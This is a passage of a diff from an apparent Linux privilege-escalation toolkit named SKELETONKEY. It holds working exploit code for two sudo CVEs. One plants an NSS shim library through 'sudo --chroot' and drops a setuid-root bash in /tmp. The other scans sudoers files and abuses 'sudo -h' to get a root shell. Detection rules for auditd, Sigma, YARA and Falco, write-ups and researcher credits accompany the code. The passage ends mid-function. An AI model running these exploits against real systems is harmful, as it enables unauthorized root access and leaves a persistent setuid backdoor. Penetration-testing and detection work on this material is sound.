" mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; "
|
||||||
|
"done; true",
|
||||||
|
so, wd, wd);
|
||||||
|
if (system(rep) != 0) { /* harmless */ }
|
||||||
|
|
||||||
|
/* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo
|
||||||
|
* does is on the invoking user — point passwd: at us so the
|
||||||
|
* dlopen fires before sudoers parsing aborts. */
|
||||||
|
char nss_conf[512];
|
||||||
|
snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd);
|
||||||
|
f = fopen(nss_conf, "w");
|
||||||
|
if (!f) { perror("fopen nsswitch.conf"); goto fail; }
|
||||||
|
fprintf(f,
|
||||||
|
"# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n"
|
||||||
|
"passwd: skeletonkey\n"
|
||||||
|
"group: skeletonkey\n"
|
||||||
|
"hosts: files\n"
|
||||||
|
"shadow: files\n");
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
/* 5. Fire sudo --chroot=<wd> -u#-1 woot. The `-u#-1` syntax tells
|
||||||
|
* sudo "user with uid -1" which forces the NSS lookup BEFORE
|
||||||
|
* auth completes — that's the trigger. The `woot` command name
|
||||||
|
* is arbitrary; sudo never gets to exec it. */
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n",
|
||||||
|
sudo_path, wd);
|
||||||
|
}
|
||||||
|
fflush(NULL);
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); goto fail; }
|
||||||
|
if (pid == 0) {
|
||||||
|
/* The ctor inside the .so will execve a shell; sudo never
|
||||||
|
* returns. If sudo IS patched, it'll error out. */
|
||||||
|
execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL);
|
||||||
|
perror("execl(sudo)");
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
int status = 0;
|
||||||
|
waitpid(pid, &status, 0);
|
||||||
|
|
||||||
|
/* 6. Did the suid bash drop? */
|
||||||
|
struct stat st;
|
||||||
|
if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 &&
|
||||||
|
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n");
|
||||||
|
if (ctx->no_shell) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
/* Pop the shell. -p keeps euid=0; without it bash drops setuid. */
|
||||||
|
execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL);
|
||||||
|
perror("execl(suid bash)");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n"
|
||||||
|
" - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n"
|
||||||
|
" - NSS shim was loaded but ctor failed (check sudo's stderr)\n"
|
||||||
|
" - kernel hardening prevents the suid copy\n");
|
||||||
|
|
||||||
|
fail:
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- cleanup -------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
if (g_workdir[0]) {
|
||||||
|
char cmd[640];
|
||||||
|
snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir);
|
||||||
|
(void)!system(cmd);
|
||||||
|
g_workdir[0] = 0;
|
||||||
|
}
|
||||||
|
/* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the
|
||||||
|
* setuid root binary the operator may want to keep. They can
|
||||||
|
* `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char sudo_chwoot_auditd[] =
|
||||||
|
"# sudo_chwoot CVE-2025-32463 — auditd detection rules\n"
|
||||||
|
"# Flag sudo invocations using --chroot. The legitimate use case\n"
|
||||||
|
"# (server admin chrooting before running a command) is vanishingly\n"
|
||||||
|
"# rare; any --chroot in shell history is investigation-worthy.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-chroot\n"
|
||||||
|
"# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n"
|
||||||
|
"# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n"
|
||||||
|
"-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n";
|
||||||
|
|
||||||
|
static const char sudo_chwoot_sigma[] =
|
||||||
|
"title: Possible CVE-2025-32463 sudo --chroot LPE\n"
|
||||||
|
"id: e9b7a420-skeletonkey-sudo-chwoot\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects sudo invoked with --chroot pointing at a user-writable\n"
|
||||||
|
" directory, plus a setuid-root binary appearing under /tmp shortly\n"
|
||||||
|
" afterwards. Legit --chroot use is extremely rare; the combination\n"
|
||||||
|
" with a fresh setuid drop is diagnostic.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n"
|
||||||
|
" condition: sudo_chroot\n"
|
||||||
|
"level: critical\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n";
|
||||||
|
|
||||||
|
static const char sudo_chwoot_yara[] =
|
||||||
|
"rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2025-32463\"\n"
|
||||||
|
" description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $shell = \"/tmp/skeletonkey-chwoot-shell\" ascii\n"
|
||||||
|
" $wdir = \"/tmp/skeletonkey-chwoot-\" ascii\n"
|
||||||
|
" $nssmod = \"libnss_skeletonkey.so.2\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" any of them\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char sudo_chwoot_falco[] =
|
||||||
|
"- rule: sudo --chroot from non-root with user-writable target\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" sudo invoked with --chroot pointing at a directory in /tmp\n"
|
||||||
|
" or /home. Legitimate --chroot use is rare; the combination\n"
|
||||||
|
" with a writable target is the CVE-2025-32463 trigger.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" spawned_process and proc.name = sudo and\n"
|
||||||
|
" proc.args contains \"--chroot\" and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" sudo --chroot from non-root (user=%user.name pid=%proc.pid\n"
|
||||||
|
" cmdline=\"%proc.cmdline\")\n"
|
||||||
|
" priority: CRITICAL\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n";
|
||||||
|
|
||||||
|
/* ---- module struct -------------------------------------------------- */
|
||||||
|
|
||||||
|
const struct skeletonkey_module sudo_chwoot_module = {
|
||||||
|
.name = "sudo_chwoot",
|
||||||
|
.cve = "CVE-2025-32463",
|
||||||
|
.summary = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)",
|
||||||
|
.family = "sudo",
|
||||||
|
.kernel_range = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||||
|
.detect = sudo_chwoot_detect,
|
||||||
|
.exploit = sudo_chwoot_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||||
|
.cleanup = sudo_chwoot_cleanup,
|
||||||
|
.detect_auditd = sudo_chwoot_auditd,
|
||||||
|
.detect_sigma = sudo_chwoot_sigma,
|
||||||
|
.detect_yara = sudo_chwoot_yara,
|
||||||
|
.detect_falco = sudo_chwoot_falco,
|
||||||
|
.opsec_notes = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot=<workdir> -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_sudo_chwoot(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&sudo_chwoot_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||||
|
#define SUDO_CHWOOT_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
# sudo_host — CVE-2025-32462
|
||||||
|
|
||||||
|
sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
|
||||||
|
sudoers rule for local root.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
|
||||||
|
you can list your sudo privileges *as they would apply on another host*.
|
||||||
|
The flaw: sudo also consulted the `-h` value when **running a command**
|
||||||
|
(and in `sudoedit`), so the host portion of a sudoers rule — normally
|
||||||
|
fixed to the machine you're on — becomes attacker-chosen.
|
||||||
|
|
||||||
|
If your sudoers contains a rule like:
|
||||||
|
|
||||||
|
```
|
||||||
|
alice webhost01 = (root) /usr/bin/systemctl
|
||||||
|
```
|
||||||
|
|
||||||
|
then on a *different* machine `alice` normally can't use it. With the
|
||||||
|
bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
|
||||||
|
local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
|
||||||
|
webhost01 /bin/bash` is a root shell.
|
||||||
|
|
||||||
|
This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
|
||||||
|
across a fleet and rules are scoped per host.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
|
||||||
|
| Fixed | sudo 1.9.17p1 |
|
||||||
|
| Weakness | CWE-863 (Incorrect Authorization) |
|
||||||
|
| Severity | CVSS 8.8 (High); not in CISA KEV |
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` reads the sudo version (shared host fingerprint, else a live
|
||||||
|
`sudo --version`) and returns VULNERABLE inside `[1.8.8, 1.9.17p0]`,
|
||||||
|
OK otherwise. The exploitable precondition — a host-restricted sudoers
|
||||||
|
rule — is not reliably probeable from an unprivileged context, so the
|
||||||
|
empirical confirmation lives in the exploit path.
|
||||||
|
|
||||||
|
`exploit()`:
|
||||||
|
1. Resolves the host token to abuse: `SKELETONKEY_SUDO_HOST` env var, or
|
||||||
|
a best-effort scan of readable `/etc/sudoers` + `/etc/sudoers.d/*` for
|
||||||
|
a user-spec whose host is neither the current hostname nor `ALL`.
|
||||||
|
2. Witnesses with `sudo -n -h <host> id -u` (non-interactive).
|
||||||
|
3. On a uid-0 witness, execs `sudo -h <host> /bin/bash`
|
||||||
|
(override the command with `SKELETONKEY_SUDO_CMD`).
|
||||||
|
|
||||||
|
Returns `EXPLOIT_FAIL` with operator guidance when no abusable rule is
|
||||||
|
discoverable — it never fabricates root.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade sudo to 1.9.17p1 or later. There is no safe runtime toggle for
|
||||||
|
the `-h` behaviour short of the patch.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Rich Mirch — Stratascale CRU (2025-06-30). See `NOTICE.md`.
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
# NOTICE — sudo_host (CVE-2025-32462)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2025-32462** — sudo's `-h`/`--host` option, intended only to be
|
||||||
|
used with `-l`/`--list` to display a user's privileges on a *different*
|
||||||
|
host, was also honored when actually running a command (or via
|
||||||
|
`sudoedit`). This lets a user evaluate the sudoers policy as though the
|
||||||
|
machine were some other host: a sudoers rule scoped to a host that is
|
||||||
|
neither the current machine nor `ALL` becomes usable locally via
|
||||||
|
`sudo -h <that-host> <command>`, yielding command execution as root.
|
||||||
|
|
||||||
|
Primarily affects sites that distribute one sudoers file across a fleet,
|
||||||
|
or use LDAP/SSSD-based sudoers, where host-restricted rules are common.
|
||||||
|
|
||||||
|
- Affected: sudo **1.8.8** through **1.9.17p0** (the `-h` behaviour is
|
||||||
|
~12 years old). Fixed in **1.9.17p1**.
|
||||||
|
- CWE-863 (Incorrect Authorization). CVSS 8.8 (High). Not in CISA KEV
|
||||||
|
(the sibling `--chroot` bug CVE-2025-32463 is).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Rich Mirch — Stratascale Cyber Research
|
||||||
|
Unit (CRU)**, published 2025-06-30 alongside CVE-2025-32463.
|
||||||
|
|
||||||
|
- sudo.ws advisory: <https://www.sudo.ws/security/advisories/host_any/>
|
||||||
|
- Stratascale writeup:
|
||||||
|
<https://www.stratascale.com/resource/cve-2025-32462-sudo-host-option-vulnerability/>
|
||||||
|
- Fixed in sudo 1.9.17p1 (Todd C. Miller, upstream maintainer).
|
||||||
|
|
||||||
|
All research credit belongs to Rich Mirch / Stratascale and the sudo
|
||||||
|
maintainers. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟢 **Structural escape (config-gated).** No offsets, no leak, no race.
|
||||||
|
`detect()` gates on the sudo version (the host-restricted rule lives in a
|
||||||
|
sudoers source the user usually cannot read — that opacity is the bug),
|
||||||
|
so a VULNERABLE verdict means "vulnerable sudo present; an abusable rule
|
||||||
|
may exist". `exploit()` best-effort reads `/etc/sudoers` +
|
||||||
|
`/etc/sudoers.d/*` for a user-spec whose host field is neither the
|
||||||
|
current hostname nor `ALL` (or takes the host from
|
||||||
|
`SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and
|
||||||
|
pops `sudo -h <host> /bin/bash` (override via `SKELETONKEY_SUDO_CMD`)
|
||||||
|
only on a confirmed uid-0 witness — never claims root it did not get.
|
||||||
|
|
||||||
|
Mitigation: upgrade sudo to 1.9.17p1+. Architecture-agnostic
|
||||||
|
(pure userspace). Joins the shared `sudo` family alongside
|
||||||
|
`sudo_chwoot`, `sudo_samedit`, `sudo_runas_neg1`, and `sudoedit_editor`.
|
||||||
@@ -0,0 +1,441 @@
|
|||||||
|
/*
|
||||||
|
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||||
|
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||||
|
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||||
|
* host — was honored when actually *running* a command (or sudoedit).
|
||||||
|
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||||
|
* scoped to some host other than the current machine becomes usable
|
||||||
|
* here via `sudo -h <that-host> <command>`.
|
||||||
|
*
|
||||||
|
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||||
|
* the sibling --chroot bug CVE-2025-32463):
|
||||||
|
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||||
|
* the machine were <host>. A user listed in sudoers for a different
|
||||||
|
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||||
|
* can therefore run that host's commands as root on the local box.
|
||||||
|
*
|
||||||
|
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||||
|
*
|
||||||
|
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||||
|
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||||
|
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||||
|
* CISA KEV (the sibling 32463 is).
|
||||||
|
*
|
||||||
|
* Precondition for exploitation (NOT for detection): the invoking user
|
||||||
|
* must already be listed in sudoers for a host that is neither the
|
||||||
|
* current hostname nor ALL. detect() can only gate on the sudo
|
||||||
|
* version (the host-restricted rule lives in a sudoers source the user
|
||||||
|
* usually cannot read — that opacity is the whole point of the bug),
|
||||||
|
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||||
|
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||||
|
* find/fire one (or takes the host+command from env vars).
|
||||||
|
*
|
||||||
|
* arch_support: any. Pure userspace; no shellcode.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <pwd.h>
|
||||||
|
#include <grp.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||||
|
|
||||||
|
static const char *find_sudo(void)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||||
|
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||||
|
return candidates[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||||
|
{
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char line[256] = {0};
|
||||||
|
char *r = fgets(line, sizeof line, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
char *vp = strstr(line, "version");
|
||||||
|
if (!vp) return false;
|
||||||
|
vp += strlen("version");
|
||||||
|
while (*vp == ' ' || *vp == '\t') vp++;
|
||||||
|
char *nl = strchr(vp, '\n');
|
||||||
|
if (nl) *nl = 0;
|
||||||
|
strncpy(out, vp, outsz - 1);
|
||||||
|
out[outsz - 1] = 0;
|
||||||
|
return out[0] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||||
|
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||||
|
static bool sudo_version_vulnerable_host(const char *v)
|
||||||
|
{
|
||||||
|
int maj = 0, min = 0, patch = 0;
|
||||||
|
char ptag = 0;
|
||||||
|
int psub = 0;
|
||||||
|
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||||
|
if (n < 3) return true; /* unparseable → assume worst */
|
||||||
|
if (maj != 1) return false;
|
||||||
|
if (min < 8) return false; /* 1.7.x and below predate */
|
||||||
|
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||||
|
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||||
|
/* min == 9 */
|
||||||
|
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||||
|
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||||
|
/* exactly 1.9.17 */
|
||||||
|
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||||
|
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char vbuf[64] = {0};
|
||||||
|
const char *ver = NULL;
|
||||||
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
|
ver = ctx->host->sudo_version;
|
||||||
|
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||||
|
ver = vbuf;
|
||||||
|
} else {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||||
|
|
||||||
|
if (!sudo_version_vulnerable_host(ver)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||||
|
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||||
|
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||||
|
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||||
|
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||||
|
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||||
|
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||||
|
* host that is neither the current hostname nor the ALL wildcard? */
|
||||||
|
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||||
|
{
|
||||||
|
if (!tok || !*tok) return false;
|
||||||
|
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||||
|
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||||
|
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||||
|
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||||
|
const char *dot = strchr(cur_host, '.');
|
||||||
|
if (dot) {
|
||||||
|
size_t shortlen = (size_t)(dot - cur_host);
|
||||||
|
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||||
|
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||||
|
* Returns true on the first hit. We do not try to fully parse the
|
||||||
|
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||||
|
* test the host token. who may be the user, a %group, or ALL. */
|
||||||
|
static bool scan_sudoers_file(const char *path, const char *user,
|
||||||
|
const char *cur_host, char *host_out, size_t host_sz)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
char line[1024];
|
||||||
|
bool hit = false;
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
char *s = line;
|
||||||
|
while (*s == ' ' || *s == '\t') s++;
|
||||||
|
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||||
|
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||||
|
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||||
|
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||||
|
|
||||||
|
/* Must contain '=' (the host = command separator). */
|
||||||
|
char *eq = strchr(s, '=');
|
||||||
|
if (!eq) continue;
|
||||||
|
|
||||||
|
/* who = first token; host = second token (before '='). */
|
||||||
|
char who[128] = {0}, host[256] = {0};
|
||||||
|
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||||
|
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||||
|
char *he = strchr(host, '=');
|
||||||
|
if (he) *he = 0;
|
||||||
|
if (!host[0]) continue;
|
||||||
|
|
||||||
|
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||||
|
(strcmp(who, user) == 0) ||
|
||||||
|
(who[0] == '%'); /* group — best-effort match */
|
||||||
|
if (!who_match) continue;
|
||||||
|
|
||||||
|
if (host_is_abusable(host, cur_host)) {
|
||||||
|
snprintf(host_out, host_sz, "%s", host);
|
||||||
|
hit = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return hit;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Try to discover an abusable host token from readable sudoers sources.
|
||||||
|
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||||
|
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||||
|
* common enough to be worth a look. */
|
||||||
|
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||||
|
char *host_out, size_t host_sz)
|
||||||
|
{
|
||||||
|
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||||
|
return true;
|
||||||
|
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||||
|
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||||
|
if (p) {
|
||||||
|
char name[256];
|
||||||
|
while (fgets(name, sizeof name, p)) {
|
||||||
|
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||||
|
if (!name[0]) continue;
|
||||||
|
char full[512];
|
||||||
|
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||||
|
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||||
|
pclose(p);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pclose(p);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||||
|
* (command executed as root). -n keeps it non-interactive so a password
|
||||||
|
* prompt can't hang the scan. */
|
||||||
|
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||||
|
{
|
||||||
|
char cmd[768];
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return false;
|
||||||
|
char out[64] = {0};
|
||||||
|
char *r = fgets(out, sizeof out, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) return false;
|
||||||
|
return atoi(out) == 0 && (out[0] == '0');
|
||||||
|
}
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
#ifndef __linux__
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
#else
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
